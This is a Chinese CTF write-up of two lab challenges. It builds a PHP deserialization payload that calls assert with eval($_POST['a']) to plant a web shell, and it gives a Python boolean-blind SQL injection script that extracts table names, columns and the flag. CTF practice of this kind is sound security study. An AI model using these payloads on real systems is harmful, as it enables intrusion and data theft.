前言:
水平不够,刷题来凑!
[NPUCTF2020]ReadlezPHP
——反序列化、disable_functions的绕过、flag隐藏在phpinfo中
开始以为这一堆0101
有什么线索,看了大半天也没找出来,抓包的时候发现
访问一下,发现是php代码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
考察的是反序列化,代码很简单,但不要上来就直接使用system
等函数去查看,先看下phpinfo
都禁用了哪些函数
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = '5';
$this->b = "phpinfo";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
echo serialize($c);
system函数等都被禁用了,但是assert
函数没有被禁用,可以利用一下写入木马
public function __construct(){
$this->a = 'eval($_POST[\'a\'])';
$this->b = "assert";
}
O:8:"HelloPhp":2:{s:1:"a";s:17:"eval($_POST['a'])";s:1:"b";s:6:"assert";}
蚁剑连接一下,利用插件工具可以查看到根目录下的flag
但是这个flag是假的,真的flag在phpinfo()
中
[WUSTCTF2020]颜值成绩查询
——空格过滤、布尔盲注、联合查询
有回显,手动测试闭合符号,发现无论是各种万能密码都报错,想了想应该是过滤掉了空格,使用/**/
代替发现1/**/order/**/by/**/2#
可以正常回显,所以无闭合符号,所以下面就有两种方法做,一种是联合查询,一种是布尔盲注
联合查询,发现union
被过滤,可以双写绕过
下面就是套用语句去读取了
布尔盲注,脚本如下:
import string
import requests
if __name__ =='__main__':
payloads = string.ascii_letters + string.digits + ',./?|}{_@#$%^&*()_=-'
s=requests.session()
temp = ''
for i in range(1,50):
print("value:")
for p in payloads:
# url = "http://3f1d7e79-8423-466a-96e4-e9ccec20e9a9.node3.buuoj.cn/?stunum=if((select(substr(group_concat(table_name),{},1))from/**/information_schema.tables/**/where/**/table_schema=database())='{}',1,2)".format(i,p)
# url = "http://3f1d7e79-8423-466a-96e4-e9ccec20e9a9.node3.buuoj.cn/?stunum=if((select(substr(group_concat(column_name),{},1))from/**/information_schema.columns/**/where/**/table_schema=database())='{}',1,2)".format(i,p)
url = "http://3f1d7e79-8423-466a-96e4-e9ccec20e9a9.node3.buuoj.cn/?stunum=if((select(substr(group_concat(value),{},1))from/**/flag)='{}',1,2)".format(i,p)
reponse = s.get(url=url,timeout=3).text
if 'Hi admin' in reponse:
temp += p
print(temp)
break